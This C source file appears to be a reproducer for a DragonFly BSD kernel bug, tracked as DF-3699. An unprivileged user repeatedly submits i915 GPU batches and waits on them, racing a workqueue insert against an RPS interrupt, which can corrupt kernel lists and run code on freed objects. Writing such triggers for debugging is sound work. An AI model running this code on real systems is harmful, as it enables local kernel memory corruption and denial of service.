/*
 * DF-3699 trigger: race the two queue_work(&rps->work) sites.
 *
 *   CPU A (user, this process): DRM_IOCTL_I915_GEM_WAIT on an in-flight
 *     request -> i915_wait_request() -> gen6_rps_boost()
 *     -> schedule_work(&dev_priv->gt_pm.rps.work)      [intel_pm.c:6671]
 *
 *   CPU B (MSI, hardirq): RPS EI/PM interrupt -> gen6_rps_irq_handler()
 *     -> schedule_work(&dev_priv->gt_pm.rps.work)      [i915_irq.c:1838]
 *
 * On DragonFly, schedule_work() -> queue_work(system_wq, work) picks the
 * per-CPU worker (system_wq has num_workers == ncpus) and takes ONLY that
 * worker's lock while test-and-setting work->on_queue
 * (sys/dev/drm/linux_workqueue.c:120-148).  Two CPUs therefore can both
 * observe on_queue == false and both STAILQ_INSERT_TAIL the same work
 * struct into two different workers' lists -> single ws_entries.stqe_next
 * link shared by two lists -> list corruption -> cross-list traversal and
 * work->func(work) on mistyped/freed objects.
 *
 * This program drives site A from unprivileged userspace in a tight loop
 * while the GPU load keeps RPS interrupts (site B) firing.
 *
 * Requires: Intel SNB+ i915 with RPS enabled, /dev/dri/card0 writable by
 * the invoking (unprivileged) user, SMP machine.
 * Build:    cc -O2 -o rps_queue_race rps_queue_race.c
 * Run:      ./rps_queue_race 60
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <inttypes.h>
#include <time.h>

/* Minimal uapi crib (Linux-compatible, as exposed by DragonFly drm) */
#include "i915_uapi_min.h"

#ifndef DRM_I915_GEM_WAIT
#define DRM_I915_GEM_WAIT 0x2c
#endif

static int open_card(void)
{
	static const char *paths[] = {
		"/dev/dri/card0", "/dev/dri/0", "/dev/dri/card1", NULL
	};
	int i, fd;

	for (i = 0; paths[i]; i++) {
		fd = open(paths[i], O_RDWR | O_CLOEXEC);
		if (fd >= 0)
			return fd;
	}
	return -1;
}

int main(int argc, char **argv)
{
	struct drm_i915_gem_context_create cc = {};
	struct drm_i915_gem_create create = { .size = 4096 };
	struct drm_i915_gem_execbuffer2 eb = {};
	struct drm_i915_gem_wait wait = {};
	struct drm_i915_getparam gp;
	int seconds = (argc > 1) ? atoi(argv[1]) : 30;
	int fd, ret, is_i915 = 0;
	time_t t0;

	fd = open_card();
	if (fd < 0) {
		fprintf(stderr, "FAIL: no /dev/dri/card* device: %s\n",
			strerror(errno));
		return 2;
	}

	/* Verify the device is actually i915 */
	gp.param = I915_PARAM_CHIPSET_ID;
	gp.value = &ret;
	if (ioctl(fd, DRM_IOCTL_I915_GETPARAM, &gp) == 0)
		is_i915 = 1;
	if (!is_i915) {
		fprintf(stderr,
			"SKIP: /dev/dri device is not i915 (GETPARAM failed)\n");
		close(fd);
		return 3;
	}

	if (ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_CREATE, &cc) < 0) {
		perror("context create");
		close(fd);
		return 4;
	}
	if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &create) < 0) {
		perror("gem create");
		close(fd);
		return 4;
	}

	/*
	 * Submit batches back-to-back and immediately GEM_WAIT on a request
	 * that has not started yet (long queue -> !i915_request_started ->
	 * gen6_rps_boost fires schedule_work on OUR cpu).  The RPS EI timer
	 * on the GPU concurrently fires PMI interrupts on the irq cpu ->
	 * second schedule_work.  Loop hard to hit the insert-vs-insert
	 * window (~100ns of store-visibility race).
	 */
	eb.batch_start_offset = 0;
	eb.flags = 0;
	eb.buffer_count = 0;		/* kernel-only flush batch */
	eb.rsvd1 = cc.ctx_id;

	t0 = time(NULL);
	for (;;) {
		if (ioctl(fd, DRM_IOCTL_I915_GEM_EXECBUFFER2_WR, &eb) == 0) {
			wait.bo_handle = create.handle;
			wait.timeout_ns = 0;	/* poll-wait: boost then return */
			ioctl(fd, DRM_IOCTL_I915_GEM_WAIT, &wait);
		}
		if ((int)(time(NULL) - t0) >= seconds)
			break;
	}

	fprintf(stderr, "done: raced wait-boost vs RPS irq for %ds\n", seconds);
	close(fd);
	return 0;
}
